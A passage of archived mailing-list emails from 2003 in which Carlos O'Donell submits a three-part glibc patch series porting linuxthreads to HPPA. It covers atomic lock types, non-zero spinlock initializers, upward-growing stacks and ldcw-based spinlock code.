Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F6C2484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 14:48:02 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A847w-0001pi-00; Fri, 10 Oct 2003 16:44:44 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19780

libc-alpha,

I've split linuxthreads for HPPA into 3 digestible patches:

1. Linuxthreads general changes.
2. Linuxthreads sysdep changes.
3. Linuxthreads changes for HPPA.

===

1. Linuxthreads general changes. 

Tested on i386, Alpha, and HPPA. Debian has been using this code since 2.3.1.
All of this code revolves around two central architecture issues:

a. HPPA needs an abstraction for it's atomic lock type.
b. The lock type cannot be initialized to zero.
c. HPPA's stack grows up.

NTPL and TLS are next on the plate for HPPA. Thanks for being patient.

Cheers,
Carlos

===
 linuxthreads/descr.h      |    2
 linuxthreads/pt-machine.c |    4 -
 linuxthreads/spinlock.c   |   22 +++---
 linuxthreads/spinlock.h   |   26 +++++--
 linuxthreads/manager.c    |    5 +
 linuxthreads/pthread.c    |   36 +++++++---
 6 files changed, 66 insertions(+), 29 deletions(-)
===

2003-10-06  Carlos O'Donell <carlos@baldric.uwo.ca>

	* linuxthreads/descr.h: Define p_spinlock as __atomic_lock_t 
	in struct pthread_atomic.
	* linuxthreads/pt-machine.c: Define testandset to take 
	__atomic_lock_t *spinlock.
	* linuxthreads/pthread.c (__pthread_initialize_minimal): 
	Use __LT_INITIALIZER_NOT_ZERO instead of __LT_SPINLOCK_INIT.
	(__pthread_self_stack): _STACK_GROWS_UP case added.
	(__pthread_find_self): Likewise.
	* linuxthreads/spinlock.c: __pthread_acquire call takes 
	__atomic_lock_t *spinlock, define abandoned as __atomic_lock_t 
	in struct wait_node, use __pthread_lock_define_initialized for 
	wait_node_free_list.
	(__pthread_alt_lock): Use __LT_SPINLOCK_INIT to clear abandoned.
	(__pthread_alt_timedlock): Likewise.
	(__pthread_alt_unlock): Use lock_held.
	(__pthread_release): Call takes __atomic_lock_t *spinlock.
	(__pthread_compare_and_swap): Likewise.
	(__pthread_acquire): Likewise.
	* linuxthreads/spinlock.h: Define lock_held, define 
	__pthread_lock_define_initialized for __LT_INITIALIZER_NOT_ZERO, 
	__pthread_compare_and_swap takes __atomic_lock_t *spinlock.
	(compare_and_swap): All versions takes __atomic_lock_t *spinlock.
	(compare_and_swap_with_release_semantics): Likewise.
	* linuxthreads/manager.c (thread_segment): _STACK_GROWS_UP case
	added.

diff -urN glibc-2.3.1.orig/linuxthreads/descr.h glibc-2.3.1/linuxthreads/descr.h
--- glibc-2.3.1.orig/linuxthreads/descr.h	2003-01-15 12:58:11.000000000 -0500
+++ glibc-2.3.1/linuxthreads/descr.h	2003-01-15 18:24:36.000000000 -0500
@@ -70,7 +70,7 @@
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
diff -urN glibc-2.3.1.orig/linuxthreads/pt-machine.c glibc-2.3.1/linuxthreads/pt-machine.c
--- glibc-2.3.1.orig/linuxthreads/pt-machine.c	2002-08-26 18:39:45.000000000 -0400
+++ glibc-2.3.1/linuxthreads/pt-machine.c	2003-01-15 18:24:36.000000000 -0500
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
diff -u -p -r1.131 pthread.c
--- libc/linuxthreads/pthread.c	23 Sep 2003 04:33:01 -0000	1.131
+++ libc/linuxthreads/pthread.c	6 Oct 2003 14:48:18 -0000
@@ -300,9 +300,9 @@ __pthread_initialize_minimal(void)
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
 # ifndef SHARED
   /* Unlike in the dynamically linked case the dynamic linker has not
@@ -370,7 +370,7 @@ cannot allocate TLS data structures for 
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -384,9 +384,9 @@ cannot allocate TLS data structures for 
 #else  /* USE_TLS */
 
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
   __pthread_handles[0].h_descr = &__pthread_initial_thread;
   __pthread_handles[1].h_descr = &__pthread_manager_thread;
@@ -893,7 +893,11 @@ pthread_descr __pthread_find_self(void)
   /* __pthread_handles[0] is the initial thread, __pthread_handles[1] is
      the manager threads handled specially in thread_self(), so start at 2 */
   h = __pthread_handles + 2;
+# ifdef _STACK_GROWS_UP
+  while (! (sp >= (char *) h->h_descr && sp < h->h_descr->p_guardaddr)) h++;
+# else
   while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom)) h++;
+# endif
   return h->h_descr;
 }
 
@@ -905,16 +909,28 @@ pthread_descr __pthread_self_stack(void)
   pthread_handle h;
 
   if (sp >= __pthread_manager_thread_bos && sp < __pthread_manager_thread_tos)
-    return manager_thread;
+     return manager_thread;
+  
   h = __pthread_handles + 2;
 # ifdef USE_TLS
+#  ifdef _STACK_GROWS_UP
+  while (h->h_descr == NULL
+	 || ! (sp >= (char *) h->h_descr->p_stackaddr && 
+	       sp < (char *) h->h_descr->p_guardaddr))
+#  else
   while (h->h_descr == NULL
-	 || ! (sp <= (char *) h->h_descr->p_stackaddr && sp >= h->h_bottom))
+	 || ! (sp <= (char *) h->h_descr->p_stackaddr && sp >= (char *) h->h_bottom))
+#  endif
     h++;
 # else
-  while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom))
+#  ifdef _STACK_GROWS_UP
+  while ( !(sp >= (char *) h->h_descr && sp < (char *) h->h_descr->p_guardaddr))
+#  else
+  while ( !(sp <= (char *) h->h_descr && sp >= (char *) h->h_bottom))
+#  endif
     h++;
 # endif
+  
   return h->h_descr;
 }
 
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.c glibc-2.3.1/linuxthreads/spinlock.c
--- glibc-2.3.1.orig/linuxthreads/spinlock.c	2002-08-29 06:32:19.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.c	2003-01-15 18:24:36.000000000 -0500
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -269,11 +269,11 @@
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +376,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +402,7 @@
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +451,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +474,7 @@
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +574,7 @@
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -662,7 +662,7 @@
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -699,7 +699,7 @@
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.h glibc-2.3.1/linuxthreads/spinlock.h
--- glibc-2.3.1.orig/linuxthreads/spinlock.h	2001-05-24 19:36:35.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.h	2003-01-15 18:24:36.000000000 -0500
@@ -33,14 +33,28 @@
 #endif
 #endif
 
+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
diff -u -p -r1.95 manager.c
--- libc/linuxthreads/manager.c	12 Aug 2003 03:40:45 -0000	1.95
+++ libc/linuxthreads/manager.c	6 Oct 2003 14:50:08 -0000
@@ -70,8 +70,13 @@ static pthread_descr manager_thread;
 #else
 static inline pthread_descr thread_segment(int seg)
 {
+# ifdef _STACK_GROWS_UP
+  return (pthread_descr)(THREAD_STACK_START_ADDRESS + (seg - 1) * STACK_SIZE)
+         + 1;
+# else
   return (pthread_descr)(THREAD_STACK_START_ADDRESS - (seg - 1) * STACK_SIZE)
          - 1;
+# endif
 }
 #endif
 


From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] linuxthreads for hppa (2/3)
Date: Fri, 10 Oct 2003 16:45:37 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <20031010204537.GG6454__6851.52974115244$1416622862$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622862 32479 80.91.229.3 (22 Nov 2014 02:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:02 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 14:48:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 475B7484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 14:48:55 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A848n-0001qP-00; Fri, 10 Oct 2003 16:45:37 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19781

libc-alpha,

2. Linuxthreads sysdep changes. 

This patch represents the minor changes required in linuxthreads sysdeps to
accomodate for hppa's special lock requirements (e.g. A structure instead of
an integer).

The changes are minor and require that __LT_SPINLOCK_INIT no longer be used in
a macro comparison since it's now a structure. A different define
(__LT_INITIALIZER_NOT_ZERO) is used to indicate an architecture that does not 
initialize a lock to zero.

Cheers,
Carlos.

===
 linuxthreads/sysdeps/pthread/bits/libc-lock.h    |    6 +++---
 linuxthreads/sysdeps/pthread/bits/pthreadtypes.h |    8 +++++---
 2 files changed, 8 insertions(+), 6 deletions(-)
===

2003-10-04  Carlos O'Donell <carlos@baldric.uwo.ca>

	* linuxthreads/sysdeps/pthread/bits/libc-lock.h:
	Use __LT_INITIALIZER_NOT_ZERO.
	* linuxthreads/sysdeps/pthread/bits/pthreadtypes.h:
	spinlock in struct _pthread_fastlock is __atomic_lock_t.

diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 18:24:36.000000000 -0500
@@ -71,12 +71,12 @@
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 18:24:36.000000000 -0500
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED


From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] linuxthreads for hppa (3/3)
Date: Fri, 10 Oct 2003 16:46:34 -0400
Lines: 411
Approved: news@gmane.org
Message-ID: <20031010204634.GH6454__18105.1757921979$1416622862$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622862 32484 80.91.229.3 (22 Nov 2014 02:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:02 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 14:49:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B490549EB
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 14:49:52 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A849j-0001qt-00; Fri, 10 Oct 2003 16:46:35 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19782

libc-alpha,

3. Linuxthreads changes for HPPA.

The following are the architecture specific changes to implement linuxthreads 
on hppa. These patches have been thoroughly tested in 2.3.1 and forward ported 
to the current cvs tree. NTPL and TLS are next on the plate for HPPA. 

Cheers,
Carlos.

===
 linuxthreads/sysdeps/hppa/pspinlock.c                     |   29 ++++------
 linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h |   22 +++++--
 2 files changed, 30 insertions(+), 21 deletions(-)
===

2003-10-04  Carlos O'Donell <carlos@baldric.uwo.ca>

	* linuxthreads/sysdeps/hppa/pspinlock.c
	(__pthread_spin_lock): Use __ldcw_align and __ldcw.
	(__pthread_spin_trylock): Likewise.
	(__pthread_spin_unlock): Use __ldcw_align.
	(__pthread_spin_init): Likewise.
	* linuxthreads/sysdeps/hppa/pt-machine.h
	(THREAD_SELF): New.
	(INIT_THREAD_SELF): New.
	(__ldcw): New.
	(__ldcw_align): New.
	(__load_and_clear): New.
	(testandset): New.
	(lock_held): New.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h: 
	New file.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h:
	Defined changed to match struct __atomic_lock_t.

diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c	2003-01-15 18:26:51.000000000 -0500
@@ -24,15 +24,12 @@
 int
 __pthread_spin_lock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+	volatile unsigned int *addr = __ldcw_align (lock);
+	
+	while (__ldcw (addr) == 0)
+		while (*addr == 0) ;
 
-  do
-    asm volatile ("ldcw %1,%0"
-		  : "=r" (val), "=m" (*lock)
-		  : "m" (*lock));
-  while (!val);
-
-  return 0;
+	return 0;
 }
 weak_alias (__pthread_spin_lock, pthread_spin_lock)
 
@@ -40,13 +37,9 @@
 int
 __pthread_spin_trylock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
-
-  asm volatile ("ldcw %1,%0"
-		: "=r" (val), "=m" (*lock)
-		: "m" (*lock));
+	volatile unsigned int *a = __ldcw_align (lock);
 
-  return val ? 0 : EBUSY;
+	return __ldcw (a) ? 0 : EBUSY;
 }
 weak_alias (__pthread_spin_trylock, pthread_spin_trylock)
 
@@ -54,7 +47,9 @@
 int
 __pthread_spin_unlock (pthread_spinlock_t *lock)
 {
-  *lock = 1;
+  volatile unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_unlock, pthread_spin_unlock)
@@ -66,7 +61,9 @@
   /* We can ignore the `pshared' parameter.  Since we are busy-waiting
      all processes which can access the memory location `lock' points
      to can use the spinlock.  */
-  *lock = 1;
+  volatile unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_init, pthread_spin_init)
diff -u -p -r1.6 pt-machine.h
--- libc/linuxthreads/sysdeps/hppa/pt-machine.h	31 Jul 2003 19:15:42 -0000	1.6
+++ libc/linuxthreads/sysdeps/hppa/pt-machine.h	5 Aug 2003 19:58:59 -0000
@@ -22,41 +22,97 @@
 #ifndef _PT_MACHINE_H
 #define _PT_MACHINE_H   1
 
+#include <sys/types.h>
 #include <bits/initspin.h>
 
 #ifndef PT_EI
 # define PT_EI extern inline __attribute__ ((always_inline))
 #endif
 
-extern long int testandset (int *spinlock);
-extern int __compare_and_swap (long int *p, long int oldval, long int newval);
+extern inline long int testandset (__atomic_lock_t *spinlock);
+extern inline int __compare_and_swap (long int *p, long int oldval, long int newval);
+extern inline int lock_held (__atomic_lock_t *spinlock); 
+extern inline int __load_and_clear (__atomic_lock_t *spinlock);
 
 /* Get some notion of the current stack.  Need not be exactly the top
    of the stack, just something somewhere in the current frame.  */
 #define CURRENT_STACK_FRAME  stack_pointer
 register char * stack_pointer __asm__ ("%r30");
 
+/* Get/Set thread-specific pointer.  We have to call into the kernel to
+ * modify it, but we can read it in user mode.  */
+
+#define THREAD_SELF __get_cr27()
+
+static inline struct _pthread_descr_struct * __get_cr27(void)
+{
+	long cr27;
+	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
+	return (struct _pthread_descr_struct *) cr27;
+}
+
+#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
+
+static inline void __set_cr27(struct _pthread_descr_struct * cr27)
+{
+	asm(
+		"ble	0xe0(%%sr2, %%r0)\n\t"
+		"copy	%0, %%r26"
+	 : : "r" (cr27) : "r26" );
+}
+
+/* We want the OS to assign stack addresses.  */
+#define FLOATING_STACKS	1
+#define ARCH_STACK_MAX_SIZE	8*1024*1024
 
 /* The hppa only has one atomic read and modify memory operation,
    load and clear, so hppa spinlocks must use zero to signify that
-   someone is holding the lock.  */
+   someone is holding the lock.  The address used for the ldcw
+   semaphore must be 16-byte aligned.  */
+#define __ldcw(a) ({ \
+  unsigned int __ret;							\
+  __asm__ __volatile__("ldcw 0(%2),%0"					\
+                      : "=r" (__ret), "=m" (*(a)) : "r" (a));		\
+  __ret;								\
+})
+
+/* Because malloc only guarantees 8-byte alignment for malloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  volatile unsigned int __ret = (unsigned int) a;			\
+  if ((__ret & ~(__PA_LDCW_ALIGNMENT - 1)) < (unsigned int) a)		\
+    __ret = (__ret & ~(__PA_LDCW_ALIGNMENT - 1)) + __PA_LDCW_ALIGNMENT; \
+  (unsigned int *) __ret;						\
+})
 
-#define xstr(s) str(s)
-#define str(s) #s
 /* Spinlock implementation; required.  */
-PT_EI long int
-testandset (int *spinlock)
+PT_EI int
+__load_and_clear (__atomic_lock_t *spinlock)
 {
-  int ret;
+  volatile unsigned int *a = __ldcw_align (spinlock);
 
-  __asm__ __volatile__(
-       "ldcw 0(%2),%0"
-       : "=r"(ret), "=m"(*spinlock)
-       : "r"(spinlock));
+  return __ldcw (a);
+}
 
-  return ret == 0;
+/* Emulate testandset */
+PT_EI long int
+testandset (__atomic_lock_t *spinlock)
+{
+  return (__load_and_clear(spinlock) == 0);
 }
-#undef str
-#undef xstr
 
+PT_EI int
+lock_held (__atomic_lock_t *spinlock)
+{
+  volatile unsigned int *a = __ldcw_align (spinlock);
+
+  return *a == 0;
+}
+		
 #endif /* pt-machine.h */
--- libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	2003-04-26 14:40:04.000000000 -0400
@@ -0,0 +1,160 @@
+/* Linuxthreads - a simple clone()-based implementation of Posix        */
+/* threads for Linux.                                                   */
+/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr)              */
+/*                                                                      */
+/* This program is free software; you can redistribute it and/or        */
+/* modify it under the terms of the GNU Library General Public License  */
+/* as published by the Free Software Foundation; either version 2       */
+/* of the License, or (at your option) any later version.               */
+/*                                                                      */
+/* This program is distributed in the hope that it will be useful,      */
+/* but WITHOUT ANY WARRANTY; without even the implied warranty of       */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
+/* GNU Library General Public License for more details.                 */
+
+#if !defined _BITS_TYPES_H && !defined _PTHREAD_H
+# error "Never include <bits/pthreadtypes.h> directly; use <sys/types.h> instead."
+#endif
